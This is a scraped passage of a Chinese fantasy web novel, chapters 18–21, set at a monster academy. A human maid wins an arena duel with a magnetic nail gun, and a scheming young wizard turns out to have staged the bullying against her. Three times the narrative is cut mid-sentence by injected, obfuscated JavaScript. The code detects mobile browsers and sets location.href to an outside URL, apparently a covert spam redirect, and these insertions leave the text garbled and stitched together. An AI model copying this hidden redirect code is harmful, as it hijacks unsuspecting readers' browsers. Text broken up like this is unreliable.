“他们又盯上莱昂了啊。” “走吧，别多管闲事。” 很快，教室里就剩下了莱昂和艾尔莎，以及和他们对峙的不速之客。 18. 角斗＆赢家 什么叫又盯上莱昂了？艾尔莎抓住了莱昂的手臂，低声问道：“手上的伤难道是他们造成的吗？” “啊，你说这个？”莱昂的脸色有点古怪：“嗯，哦……算是吧。” 横行在校内的“狩猎者”是个疯狂的组织。 初创的成员都是些追求纯血优越主义的怪物。他们通常擅长体术，狂热于使用暴力，混有人类血统的学生都会成为他们狩猎的目标。 “人类低贱的血统会玷污这个校园，”杰克轻蔑地说：“但和你混血的身份非常匹配。” 他身后的两个蜥蜴人捧腹大笑，“别吓到他了，杰克。”其中一个蜥蜴人说，“他可是老师眼里的香饽饽呢。”另一个蜥蜴人接道，“说不定也是老师怀里的软脚虾。” “娇生惯养的小少爷难道不服气吗？”杰克对莱昂做了个挑衅的手势：“有本事就来角斗场啊。” “这是个好主意，”其中一个蜥蜴人将爪子搭上杰克的肩膀：“我愿意来当他的对手。” “我答应过家人不会在学院里闹事。”莱昂拉住艾尔莎：“我们走。” “别啊。”挑衅者散开，堵住了走道，“你要是不敢上，”杰克转向艾尔莎：“可以让她来，让她做你的代理人。” 莱昂断然拒绝：“这不可能！” 见莱昂反应过度，杰克越发满意这个提议。“你还不懂吗？决定权不在你那里。”他的竖瞳紧紧锁定艾尔莎，“今天就算是用暴力，也会把她拖到角斗场去！” “你想都别想，”莱昂拿出法杖：我不会让你伤害艾尔莎的！” 蜥蜴人伏低上身，脖子上的冠状项圈瞬间打开，那是御敌防备的姿态。杰克肌肉贲发：“我劝你不要这么做，法师对近战可讨不了好。” 场面陷入僵持，灵活的豹尾如鞭子般分散着莱昂的注意力，艾尔莎瞥见蜥蜴人挪动脚步，随时要从两边包抄。 同时对战他们没有多少胜算。艾尔莎思考了一瞬，挡在莱昂面前。 “我接受挑战。”她直视杰克，在那张豹脸上看到了显而易见的惊讶。 “艾尔莎，”莱昂伸手拽住她，神色里满是不可置信：“为什么要答应他们？” “从蚀兽的爪下，你曾经救过手无寸铁的我。”艾尔莎真诚地说：“我一直想要回报您。” “你知道有多危险吗？”莱昂抿起唇：“还是你天真到以为人类可以战胜怪物？” 艾尔莎从未听过他这么尖锐的语气，她微微愣住，然后轻轻摇摇头：“我的弱小，我再清楚不过了。每次遇到危险的时候，本能都会让我快点逃跑。” “……那为什么？” “因为有不能逃跑的理由在。如果总是逃跑的话，就无法守护任何东西。”艾尔莎的目光温柔又坚定：“我想要保护您。而且……” 一抹自信的笑容在她脸上展露：“我不会输的。” 她的眼睛闪闪发亮，和那双璀璨的双眸对视，莱昂少见地愣住了。 没等他反应过来，艾尔莎就转过身去。“你们有天生的爪子，这不公平。”艾尔莎从腰间拔出匕首，对杰克说：“至少要能允许我使用武器。” 她毫不意外地迎来了对方的嘲笑，方才紧张的氛围一扫而空。 “就凭这细软的胳膊，有匕首又能做什么？你连蜥蜴人最表层的角质都无法穿透。”杰克收敛笑容：“好啊，我答应你。” “我还有一个条件，”艾尔莎毫无预兆地问了句：“你是他们的领头吗？” 杰克顿了一瞬，“当然，”他狐疑地看着她：“你这是什么问题？” “没什么。如果我赢了，我要领头的向莱昂道歉，并允诺永远不再找麻烦。” “……”杰克缓缓眯起眼：“你想要的未免太多了。” “这是我赌上性命的战斗，要求难道过分吗？”艾尔莎做出惊诧的表情：“还是说，对手是个人类小姑娘，你们还会害怕输？” 激将法老套却很有效，杰克没犹豫多久就一口答应，“反正你会后悔的。”他阴恻恻地恐吓。 学院那座椭圆形建筑就是角斗场，中央的平地是赛台，围绕着的看台逐排升起。 热血沸腾的战斗最能激起内心的野性，怪物学院遵从的是弱肉强食适者生存的自然法则，对学生间的争斗向来是睁只眼闭只眼，“狩猎者”这样的暴力组织才能大行其道。 角斗场自带契约的效力，进场前签订的条件，将由公平的角斗场作证。 “那么……先认输，或倒地超过十秒无法再起身的，为胜者！”话音落下，荆棘纹路在契约者的手背上浮现。 “艾尔莎，”进场前，莱昂叫住她，脸上是惴惴不安的神情：“答应我，别逞能好吗？” 艾尔莎露出明媚的微笑，“我知道。”她大步迈进决斗场。 蓄势待发的蜥蜴人正在等她，他脱了衣服，露出健硕的上身，当他直立起后腿时，就如同座坚实的小山丘。 “就让你先出手吧。”蜥蜴人怜悯地看了眼艾尔莎手中的匕首：“事先提醒你，我会用尾巴把他打掉。” “这只是用来迷惑你们，让你们答应条件的。”艾尔莎把手中的匕首插回了腰间：“我另外有要用的武器。” 她对蜥蜴人露出了个狡黠的微笑，边撩起裙摆，她的大腿处绑有牛皮特制的枪套，从中她拔出了一把枪状的武器。 “那是……斯坦因的发明？”看台上，莱昂惊讶地探出头：“原来匕首只是个幌子吗？” 几天前，从城镇回餐厅的马车上，艾尔莎看着手心那颗红宝石，试探地问斯坦因：“如果是奖励的话，我可以用红宝石换其他的吗？” “你想要什么？” “那把磁枪，就是那天借来用来吸走缝衣针的磁枪……可以吗？” “哦？你看上了我的发明。”虽然有些出乎斯坦因的意料，但他对艾尔莎的眼光还算满意：“可以，我还会教你用他。” 斯坦因把他改造得更小巧轻便，方便艾尔莎手持，还填充装载了铁钉。 “谢谢你让我先出手了。”将枪口对准蜥蜴人，艾尔莎毫不迟疑地扣下扳机。 蜥蜴人闪避躲过，电磁发射的钉子射中了他身后的墙壁。蜥蜴人转过身，吐出分叉的舌头，目瞪口呆地看着墙壁上的划痕——这把枪械的威力可不低。 他回过神：“就算你有强力的武器，你能跟上我的速度吗?” 他说完就后爪蹬地，猛地向前飞扑，迅速逼近艾尔莎。艾尔莎盯着他的动作，边警戒后退，边扣下扳机。 斯坦因改造的钉枪还可以连发，密集的钉子弥补了准头的不足，压制住了蜥蜴人，打乱了他进攻的路线，他不得不避开那些杀伤力很强的铁钉。 他以曲线的方式在艾尔莎身周兜着圈，始终和艾尔莎保持着不近不远的距离。艾尔莎无法伤害到他，但他也不能近身。 “威力可以，准头也不错。”莱昂紧紧地盯着场中的倩影：“可钉子迟早会用完的啊，艾尔莎。” “上啊！别躲！”杰克也在呐喊： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991235|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “正面接钉子！” 猛地一枚钉子射入蜥蜴人的脚边，溅起飞扬的尘土，钉子斜斜插进地面，跳开的蜥蜴人在心中暗骂，这可不是能安然无恙接下的硬茬。 原本以为能够轻松结束的决斗居然变成了消耗赛，蜥蜴人顿觉颜面尽失，但艾尔莎占据的上风只是短暂的假象，他翻盘的契机迟早会来。 扳机的撞针发出清脆的声响，但却没有钉子射出，意识到子弹用完了，艾尔莎的脸色微微改变。 就是现在，趁她来不及填充钉子！ 蜥蜴人笔直地朝艾尔莎冲来，把积蓄已久的憋屈倾倒在这一击上。 让他大吃一惊的是，艾尔莎还是毫不犹豫地端起枪，将枪口对准了他。 “难道刚刚是假象……”蜥蜴人伸出锋利的爪子：“不过，就算迎面接下这一钉也没什么！” 枪口没有射出铁钉，全神戒备的蜥蜴人内心一喜，但这安心立刻被背上传来的剧痛打碎了。 他被冲击力撞得踉跄向前，迎面狠狠地摔在了地上。背后仿佛被千万只杀人蜂噬咬了般疼痛。 他惊恐地扭头看去，才发现后背的角质鳞片扎了密密麻麻的铁钉。 “怎么会！”他分叉的舌头颤动。 这把磁枪有两种用法。射出钉子用的是磁场间相互排斥的力，但磁场间还能相互吸引。蜥蜴人朝艾尔莎扑来时，艾尔莎调整了磁枪的模式。 灵感就来源于上次开启这把磁枪时，被牵引回来的缝衣针差点伤到了艾尔莎。但此时，以一堵墙般充当保护伞作用的正是面前的蜥蜴人。 “要是你跳来跳去的，这个模式就没法发挥出最大的效用了。”艾尔莎说：“要的就是你一条线朝我冲来。” 他在等待艾尔莎的破绽，而艾尔莎也在等待他被窃喜冲昏了头脑，将没有防备的身后完全袒露的瞬间。 但蜥蜴人没有出局，他忍住剧痛，在十秒倒计时结束前，爬了起来。 “大意了，”他的绿眼转动了几圈，拔下背上的铁钉，绿色的血液流淌了下来。他反被激起了战意：“但这还不足以击溃我！想让我认输？做梦！如果这就是你的杀手锏，最后输的人会是你！” 艾尔莎垂下枪口，“这不是我的杀手锏。”她说，竟然是一副结束战斗的样子。 “什……”话没说完，蜥蜴人就栽倒在地，他瞪大眼睛：“怎么会这样，我的四肢都动不了了……” “很不巧，”艾尔莎对躺在地上的蜥蜴人说：“已经有人先问过我这个问题了。” 在餐厅前院练习钉枪时，斯坦因幽幽地从背后飘过：“对方要是皮糙肉厚点，这些铁钉可造成不了多少伤害。那时候你要怎么办？” “这确实是个问题。”艾尔莎想了会说：“准备两种钉子怎么样？我从镇上买了药材，可以配备麻药。” “原来你不仅会说谎，还挺阴险。”斯坦因微微扬起唇角：“不过，应该能活的挺长的。” “针上有麻药！”反应过来的蜥蜴人露出后悔的神色：“你好卑鄙！” “这本来就不是场公平的战斗。你们仗着强大欺负弱小，又因为轻视弱小而被打败，这是你们的耻辱，也是你们应得的教训。”艾尔莎居高临下地看着它：“正因为弱小，才会想方设法赢下去。” 徒劳的挣扎中，十秒很快走到了尽头，蜥蜴人垂下头：“是我输了。” 这场角斗如预期中的短暂，但结局却出乎全场人的预料。 静默中，艾尔莎持枪跳上看台，走向杰克。 19. 真面目＆猫鼠 “现在，我要求你履行契约了，向莱昂道歉。” 荆棘纹路在艾尔莎的手背上浮现，但豹男的手背却没有任何变化，他和剩余的手下面面相觑，神情中流露出难以掩藏的慌张。 “你到底是不是领头的？”艾尔莎质问道：“刚才我就觉得有点奇怪。” 虽然蜥蜴人在站位上落后豹男，但当蜥蜴人提醒豹男时，他直接把爪子搭上了豹男的肩膀。 如果他们有严格的上下级，这个细节就明显越线了，但豹男似乎并不觉得有什么奇怪的。 “不管是谁，他都该出来履行契约。”艾尔莎再度逼近：“违约可是会受到惩罚……” 鼻尖忽然嗅到了一缕清新的花香，艾尔莎的话语顿住了，那缕奇异的幽香抽空了她大脑的思绪，视线中杰克的面容渐渐模糊，艾尔莎晕了过去。 她没有摔到地上，一双手臂从后托住了瘫软的身躯。 “对不起。”男声带着笑，荆棘契约在他的手背上浮现。艾尔莎陷入漆黑的绸缎中，宛如黑夜将她拥进梦境。 “我不会找自己的麻烦。”他手背上的荆棘纹路因为契约完成而消失，微笑着的莱昂凑近怀里艾尔莎的耳边：“我履约啦。” 打横抱起昏倒的艾尔莎，莱昂坐上看台，让艾尔莎枕在自己的膝盖：“你一定累了吧，先休息休息。” 方才还趾高气昂的施暴者们，全都低声下气地围了过来：“老、老大。” 莱昂笑容未改：“不是说了别这么叫我吗？听起来很逊哎。” “这么点小事都办不好，还差点露馅了。”莱昂摊开双手，失望地摇摇头：“我交给你们的任务有那么难吗？” “我们是按吩咐逼迫她战斗了，原本以为可以给她点苦头，再由您出面英雄救美。”豹男的长尾巴绷紧：“但没想到她会拿出那种奇怪的武器来啊……” “看来她和斯坦因的关系比我预估的还要好些。”莱昂撑着脸颊看着艾尔莎：“不过，我好像能理解斯坦因在意她的原因了。” 像人类女仆这种孱弱的存在，并不在莱昂的玩具列表上。但斯坦因似乎对她有些特别，这就足够引起莱昂的好奇心了。 “啊~”他遗憾地叹气，“真想看看斯坦因吃瘪的表情。”光是想象就让他兴奋不已。 在莱昂的计划中，艾尔莎会在强制角斗开始前就陷入恐惧和绝望，让她受点皮肉伤，英雄的降临才更显惊心动魄，再用悉心照料打动她的心，从斯坦因这个毫无情趣的机械怀里抢人应该易如反掌，只是莱昂没想到艾尔莎痛快地接受了角斗。 “你还真是出乎我的意料啊，女主角大出风头，男主角的戏份全没了。”莱昂不甘心地戳着艾尔莎的脸颊：“不仅让我的计划夭折，还让我反欠了人情。” “……但这样，不就让我更想抢了吗？”兴奋的笑容浮现在莱昂脸上，蓝眼睛闪闪发亮，像是看到了势必要得到手的珍宝。 豹男杰克忍不住打了个寒颤，莱昂的神色唤醒了他痛苦的记忆。几个月前，这个外貌看起来纯良无害的少年也是带着这样的笑容毁掉了他们的组织。 彼时“狩猎者”还有个独角兽后裔的头目。听说新生里有个引人注目的巫师，在植物学和药剂学的课堂上大出风头，“狩猎者”自然地盯上了这个目标。 莱昂在其他科目上表现出的平平无奇让他们付出了轻敌的代价。 在围攻莱昂的那个晚上，他们甚至连莱昂的面都没见到，就被预先设下的法阵陷阱偷袭了，魔药了让他们的行动力变得迟缓，拔地而出的藤条紧紧地绑缚住了他们。 忽然，藤条移动着分开了一条小径，披着黑袍的莱昂就沐浴着他们的目光，从他们之中缓步走过。 巫师的地位在这所学校是最低的，但在压倒性的实力面前，血统和地位都是笑话。 走到他们面前的莱昂摘下兜帽，露出那张年轻俊秀的脸，他的友好笑容极具迷惑性：“晚上好，朋友们。” 地面抽出藤条，扭曲成了一张高藤椅。莱昂堂而皇之地对着俘虏们坐下，双臂环在椅背上，悠闲地晃着两条腿。 “就这样吗~”他失望地说：“亏我还很期待呢。” “可恶，你隐瞒了实力？！”能用上这种范围和强度的魔法，他的实力早就远超普通学生。头目气势凛然地发问，在暗中试图用暴力挣脱开藤条。 “这样人设比较无害嘛，特别优秀和特别弱小并无差别，都容易被排挤。我不想错过任何有趣的事啊。”莱昂笑嘻嘻地说：“比如现在~你们意外的表情都很有趣。” “该死！绝对不会让你称心如意的！”头目的肌肉贲发，藤条寸寸碎裂。挣脱了藤条的他朝莱昂扑去，却被魔法击中了独角向后倒去。 莱昂的法杖泛着光，新长出的藤条重新捆住了头目。 “我还以为你们是什么有趣的组织，现在看来，不过是一群无脑的乌合之众。”莱昂撇了下嘴角：“真无趣。” “老大，”一个成员用身体充当了头目的肉垫，他憎恨地看向莱昂：“我们不会放过你的！” “有什么冲着我来，”头目按住手下，对莱昂说：“放了其他人。” “老大！”此起彼伏的声音响起：“我们共进退。” “没错!” “该死的小子，绝对不会放过你！” 突兀的掌声凭空响起，拍掌的却是莱昂。 “不错啊，不错！”莱昂亮晶晶的瞳孔里满是期待：“啊~我喜欢看友情和义气的戏码哦。” “这样吧，”他打了个响指：“我们来玩个游戏好了，我想想看，围绕着校园的躲猫猫怎么样？” “开什么玩……唔！” 藤条封住了头目的嘴巴，“嘘，”莱昂竖起指头抵在唇边：“我还没说完游戏规则，不准抢答。” “初始时你是猫，”莱昂指着头目说：“其他人都是老鼠。老鼠们要躲起来，如果被抓到了，老鼠就会和猫交换身份。” “倒计时一小时，时间到了后，猫胜出。输掉的老鼠们要付出代价。”莱昂打了个响指，绑住怪物们的藤条暴力撬开了他们的嘴，将一株嫩芽塞了进去：“虽然死不了，但嫩芽会在体内生根发芽哦，然后再从五官里长出来，这种经验可是非常少有的，不错吧？” 光是想象那个画面就让在场的怪物毛骨悚然。 “顺带一提，”莱昂骄傲地昂起头：“这是我自己培养的植物，就算是寻求教师的帮助也没有哦。” “这个游戏怎么样？”莱昂露出兴奋的笑容，“呐，我都快等不及了！快开始吧！先给猫咪一点时间。” 首先被解开的是头目的束缚，他迷茫地站在原地，额头上冷汗涔涔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991236|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只要细想就知道，猫才是弱势的那方，他会变成剩下所有人的目标，要在这个游戏里战战兢兢疲于奔命的是猫咪才对！ 要是他足够信任手下不会来抢夺他猫咪的身份，就该原地待命。但莱昂没给他多少思考的时间，用言语往本就脆弱的信任上施加了压力：“接下来就到老鼠了……倒计时……” 头目迈开脚步的瞬间，信任轰然崩塌。 “哈哈哈，猫咪跑得很快呢，”看着头目落荒而逃的身影消失在黑暗中，莱昂愉快笑起来。他解开了剩下的藤条，迫不及待地催促：“快，游戏开始了。” 接下来的事并不难猜到，就像是雪崩般，只要有人先背叛，其他人就会紧随其后。 与其被背叛，不如成为先背叛的那个人。本来就是乌合之众的组织在顷刻间分崩离析。 而莱昂就坐在那，冷眼旁观他们之间的厮杀。 “时间~”莱昂掐下了秒表：“到。” 莱昂对最后的“猫”，也就是豹男杰克说：“恭喜，最后的胜者是你！” 杰克浑身上下都挂了彩，“这就是你想要的吗？”他半跪着地上，看向走近他的莱昂：“‘狩猎者’大概不会再存在了，你应该满意了。” 初始的“猫”仰躺在一旁的地面，胸口起伏喘气。他被剥夺了“猫”的资格的同时，也被从头目的位置上彻底拉了下来。组织的溃败伴随着权力的崩塌。 “不，你们不能解散。”莱昂却露出了无辜的神情。 他用一种天真的语气说：“你们要成为我暗中的玩具，听我的指令。” “不过，表面上的头目确实可以换了。就你了，暂代这个位置，好吗？我期待你的表现。”莱昂对杰克微笑，然后他越过遍躺在地的其他怪物，满意地离开了。 “等等！你说过会取走我身体里的嫩芽！” “放心放心，那只是普通的嫩芽而已，可以助消化的。”莱昂没有回头，朝后挥了挥手：“毕竟我很善良嘛。” 杰克颓丧地垂下肩膀：“也就是说……” “骗你们的。”他轻描淡写地说，身影消失在黑夜当中。 从那天起，莱昂成为了“狩猎者”实际的首领，他虽然不插手组织内的行动，但如果有明面不方便达成的目标，他就会使用阴影中的武器。 就像这次，让杰克他们装成欺凌者，把自己洗成无辜的受害方。 杰克看向艾尔莎的眼神都不禁带上了同情：“那接下来该怎么办呢？”要惩罚她吗？杰克用眼神问莱昂。 “虽然我讨厌被打断计划，可是她说，她要保护我啊。”莱昂“扑哧”地笑了：“从来没人对我说过这种话。” 豹男既畏惧又困惑地看着莱昂，不明白这位战斗力顶端，心眼极黑的巫师，为什么会被这种话打动。 “手臂上的伤是魔药事故造成的，我都忘了。可是她看起来却很心疼呢。这种感觉真奇妙。”莱昂抚摸着艾尔莎的头发，眼神里多了些深意：“说不定，我能用她养出那支无名蔷薇。” “我走了，”莱昂抱起艾尔莎：“对了，还有早上被扔书包的那个男巫，别再欺负了。” “是。”杰克连忙说：“抱歉，我不知道那个男巫认识您……” “倒是不认识。”莱昂召唤来扫帚，漫不经心地回：“但艾尔莎看起来有点介意嘛。” 20. 药剂＆花园 “老头，我给你找了个徒弟。”狄伦把藏在身后的艾尔莎拉出来：“你可要好好教她。” “女孩？”老药师朝狄伦露出了“你在开什么玩笑”的表情：“不收。” “那可不行，错过了她，你要后悔的。她可不会比任何人逊色。”狄伦揉了揉艾尔莎的头发：“对吧？” 艾尔莎重重点头，“我会努力的。”她向老药师和狄伦允诺。 “看在你的面子上，我会给她试用期。”老药师冷淡地说：“能吃苦就留，不能就走。” 艾尔莎顺利留了下来，不仅如此，她也如狄伦所说，成为了老药师最倚仗的助手。 等艾尔莎能调试药剂了，她最先配出来的就是麻药和伤药。 趁猎魔人小队在村子里休息，艾尔莎穿过树林，直奔山中的瀑布清泉。 “狄伦在里面洗澡呢。”刀疤脸大叔没用多久就和艾尔莎混熟了：“你送去给他吧。” 瀑布哗啦啦地从高处坠下，溅起磅礴的水花，也掩盖了艾尔莎的脚步声。狄伦光着上半身，展露健美的臂膀和胸膛，流畅的肌肉线条在水面收束成精瘦的腰。 艾尔莎的身影从林叶间显现，把狄伦被吓了一跳，猛地转过身去：“你这个小姑娘怎么回事？我可在洗澡啊。” “我知道啊。”他的反应让艾尔莎有些奇怪：“我是来给你送药的。” 艾尔莎注意到遍布在他身上大大小小的伤疤，也不知道他曾经历过了多少场激烈的战斗，才会留下这么多残酷的勋章。 侧转过头，狄伦撩上去的黑发露出了白皙的额头，金色的瞳孔满是无奈：“算了，你迟早会懂的……刀疤居然放你过来，真是胡来。” “不过，你已经会做药剂了，真厉害，”狄伦弯起眼睛，毫不吝啬夸奖她：“干得不错啊，小姑娘。” “狄伦……”艾尔莎睁开了眼，入眼是熟悉的天花板，这里是她的房间。 “狄伦是谁？”趴在她身边的莱昂眨着蔚蓝的眼眸，他的手上还拿着温热的毛巾，正轻轻擦拭着艾尔莎的脸颊。 “晕倒前我是在……角斗！”艾尔莎猛地坐起身。 “你已经赢啦，而且赢得很漂亮，”莱昂撑着脸颊，露出宠溺的笑意：“场上的艾尔莎很帅哦。” 忽然被夸，艾尔莎微微怔愣，有点羞涩地挠了挠头，莱昂继续说：“你战斗完后力竭晕倒了，我就把你带回了餐厅。你晕倒中一直在喊一个名字呢。” 莱昂又绕回到这个在意的问题上：“狄伦是谁？” 总不能实话实说是猎魔人吧，艾尔莎含糊其辞：“以前认识的人。” “哎~这样啊。”莱昂看出了她的敷衍，有些意味深长地拉长了话尾。但他没有追问：“呐，艾尔莎，你最后用麻药了吧？我记得你提过，你有跟着老药师学习过？” 艾尔莎点点头，莱昂的紧接其后的话瞬间点亮了她的双眸。 “那你一定也会对怪物植物感兴趣吧！”莱昂扬起笑容：“艾尔莎~来当我的助手吧，帮我打理阁楼的植物园，我就可以教你哦。无论是怪物植物，还是以它为基础的怪物药剂学。” “真的吗？”瞳孔因为意外的惊喜而颤动，艾尔莎在激动之下抓住了莱昂的手：“我愿意！” 她欣喜的面容近在咫尺，目光里是毫不设防的信任和仰慕，莱昂笑容不变，却在感受身体里涌起的这股令他发麻的暖流。 没错，这样势在必得的震颤感，上次还是得到无名蔷薇的种子的时候感受到的。莱昂按捺住掠夺的欲望，玩游戏的时候为了达成最佳，他向来很有耐心。 他反握紧艾尔莎的手，“那不如就现在？走吧！”他拉起艾尔莎，“我得向你好好介绍一下，我骄傲的收藏们！” 上次来到阁楼花园还是为了安置猫草，艾尔莎只粗略地欣赏了无名蔷薇。这次，莱昂拨开绿叶和藤曼，隐蔽的小径通往植物园的更深处。 “这是‘生命安全区’。”莱昂就像个热情的导游：“这里的植物都是高危存在。” “就比如~你看，上次见过的老朋友。”他指着足有两人高，正往这探头的植物说：“那是巨捕蝇草。” “它就是享受偷袭的乐趣，一旦被发现就会觉得索然无味。所以当你靠近它攻击半径的时候，要好好地看着它。”莱昂目不斜视地带着艾尔莎往前走，忽然猛地一回身，跟在背后张大嘴的巨捕蝇草怯怯地合上了叶片：“就像这样！你有玩过1、2、3木头人吗？很简单吧！” “就算被吞进去了也没关系，在□□没有融化前被发现就行。”莱昂把魔杖插入合拢的硬齿缝中，撬开了巨捕蝇草的叶片：“要不要试试？” 艾尔莎把头摇得像是拨浪鼓，“哎~不试吗？”莱昂遗憾地耸了耸肩。 毒液、利齿、陷阱……这个区域的植物都是天生的捕食，在他们虎视眈眈的注目下，艾尔莎心惊胆战地跟随莱昂穿过小径，直到看到路边出现了水仙花，一簇簇白色的花瓣拥着嫩黄的蕊。 种植在水槽里的水仙花亭亭摇曳，清香萦绕在鼻尖。在这遇到熟悉的花朵真令人欣喜，艾尔莎情不自禁地凑近花朵，她的倒影在水面波纹中荡漾。她再熟悉不过的这张脸似乎微微有了变化，变得更可爱和美丽了，让艾尔莎不禁想要靠近看得更仔细些…… 猛地被拽住后颈的衣领，艾尔莎猛地一惊，才发现自己正要栽进水槽。 “不行不行，它也很危险，这是倒影水仙，盯着它会引发自恋的情绪，不由自主地想要靠近水中的自己。”莱昂拍了拍艾尔莎的脸颊，让她彻底清醒过来：“听说初次发现它的巫师，就是在附近多次遇到了毫无挣扎痕迹溺死的普通人，他们脸上还带着幸福的笑容。” 莱昂用拳头抵唇，咳嗽了两声，像模像样地开始说教：“我们还没有走出‘生命安全区’呢，就算看起来再无害的植物也可能要了你的命。自然极具迷惑性，记住，一定不要被外表蒙蔽了。” 艾尔莎后怕地点点头：“我分不清它和普通水仙的区别。” 一本硬壳书塞进了艾尔莎的手心。 “这是初级入门的图鉴，倒影水仙的信息在第九十八页。”莱昂得意洋洋地背诵起来：“叶片和花朵都有细微的区别，但最主要区别还是在它的根茎处，是三角形的哦……” “可是，”艾尔莎问：“普通人该怎么观察水仙的同时，不被水仙迷惑呢？” 正在显摆知识滔滔不绝的莱昂一顿，和艾尔莎面面相觑，显然并非是“普通人”的他从未遇到过类似的问题。 他可疑地移开目光，把话题也转开了：“接下来我们要暂别‘生命安全区’，到‘经济作物区’。这里植物相对安全的同时，具有很高的实用价值！可以说是药剂师的宝库。” “山雾荆棘是制作隐身剂的主要配料，那边的涌泉叶可以作为它的替代品，但隐身时效会减少。”莱昂如数家珍：“这是生活在海洋的怪物最喜欢的果实，每次去怪物集市都能换不少珍珠。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991237|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“前面是很特殊的读心花，可以读出最靠近的人在想什么，它是吐真剂的制作材料，非常受人类买家的欢迎。从事情报、拷问、秘密警察相关职业的人绝对不能错过的必备药剂！”莱昂鼓励艾尔莎：“它是少有的完全无害的怪物植株，凑近看看吗？” 舒展着红花瓣的鲜花们也在观察他们，“莱昂少爷居然带了女人！”最靠近艾尔莎的读心花抖动着枝条，看起来很激动：“让我来看看这个女人在想什么！” 读心花窃取了艾尔莎的内心，并大声朗读了出来：“……会说话的花也能切碎或者磨成粉吗？不会在高温熬制时会喊痛吗？” “……何等残忍的女人啊！”这番言论带来了群体打击，彤红的花朵们开始褪色，柔软的叶片软趴趴地垂下，读心花海像得了传染病般蔫了一大片：“不准你再靠近我们了！” “这样不行哦。”莱昂心疼地捧起面前的花盆：“艾尔莎，照顾读心花的时候，要保持阳光的心态，时常给它们浇灌正能量。” “乐观的心态？”艾尔莎露出迷茫的神色。 “也就是想点开心的事。” “莱昂少爷，您真体贴。”读心花柔弱地依偎在他的怀中，读出他内心的讯息：“这批就快到出货时间了，可惜整体质量一般，还是制成药剂再卖出去……” “……读心花蔫得更严重了。” “哈哈，哈哈。”莱昂尴尬地放下花盆：“为了避免这种情况，平时我主要交给机械花匠来完成。” 回应他的召唤般，一架系着围裙的机器人从拐角处驶出来，对莱昂和艾尔莎挥了挥手中的花剪。 “我不在的时候他会帮我照看花园，今后，你也要接手他的工作，学习怎么照顾各种植物哦。”莱昂做了个加油打气的动作：“我相信你能做好的~” 和莱昂学习了半天后，终于结束工作，筋疲力尽的艾尔莎靠在墙上叹了口气：“不容易呢。” 她想起刚和药剂师学习的时候，因为预估剂量的错误打翻了坩锅。滚烫的汁液在她的手臂上留下了钻心的疼痛，还有一道无法抹去的伤疤。 或许这也是她看到莱昂手臂的伤疤时，无法置之不顾的原因。她曾从风雨中走来，就无法将正遭受风雨的人弃之不顾。狄伦也曾提醒过她，不要因为心软而在关键的时候做错决定。 “不过，没关系。开始总是困难的。”艾尔莎沮丧了会，就重新打起了精神：“莱昂也会帮我的。” 还没到整点，墙壁上咕咕钟就打开了木门，木鸟弹了出来，发出了一声重重的冷哼，像是在嘲讽她的天真。 艾尔莎吓了一跳：“……德尔？” “你别跟他走的太近了。”德尔说：“没见过他恶劣本性的人，都会被那伪装的外貌欺骗。” “莱昂吗？”艾尔莎有点惊讶，她以为德尔和莱昂虽然总在吵架，但关系还不错。 “不是他还有谁，宁愿招惹斯坦因，也不要去招惹那个臭小子！” 艾尔莎更惊讶了，莱昂是餐厅里为数不多一开始就对她展现了善意的人，而且他还愿意教授她植物学。 不过艾尔莎没有反驳德尔，因为这是德尔第一次主动和她说话。 她光明正大的讨好正在见效，艾尔莎不禁感到开心：“屋顶的木板我都换完了，下一步我准备擦拭金属器具，鲜花你还喜欢吗？” “马马虎虎。”小鸟昂着头说，“下次换水仙，正常的那种！”小鸟傲娇地结束对话，缩回了钟表里。 21. 禁地＆查尔斯 艾尔莎小心地把猫头形状的根茎从花盆里移出来。 初级图鉴里记载，猫草喜欢新鲜感，要定期帮它更换不同的土质，如果它腻烦了，就会长腿跑走换地方。 艾尔莎把红壤倒出来，替换上湿润的潮土。在她忙碌的时候，原本乖乖睡在旁边的猫草，忽然抽出两根柔软的枝条，“啪嗒啪嗒”跑起来。 “糟了！”艾尔莎发现时，猫草已经钻过半掩的门，绿色的身影一闪即逝。 艾尔莎追了出去，撒开脚丫奔跑的猫草在楼梯上跳跃。艾尔莎追到了三楼，这层是噩梦夫人的领域。 “那里……”看清猫草逃窜的方向，艾尔莎更着急了：“不行！那里是禁地！” 猫草在一间紧闭的房间前停下了脚步，或许是被神秘的气息吸引了，猫草缩成了一条直线，试图从门缝里挤进去。 艾尔莎险险拉住它的腿，但又不敢太用力。“不能进去！会死也说不定哦。”她的恐吓没有起效果，猫草挣扎起来，一人一草抗衡不久，猫草就消停不动了。 艾尔莎舒了口气，但很快她就发现原来是陷入了更尴尬的境地，猫草被彻底卡住了。 这可怎么办？艾尔莎试图将它拽出来，或者推搡门挤出缝，但猫草还是无法动弹。 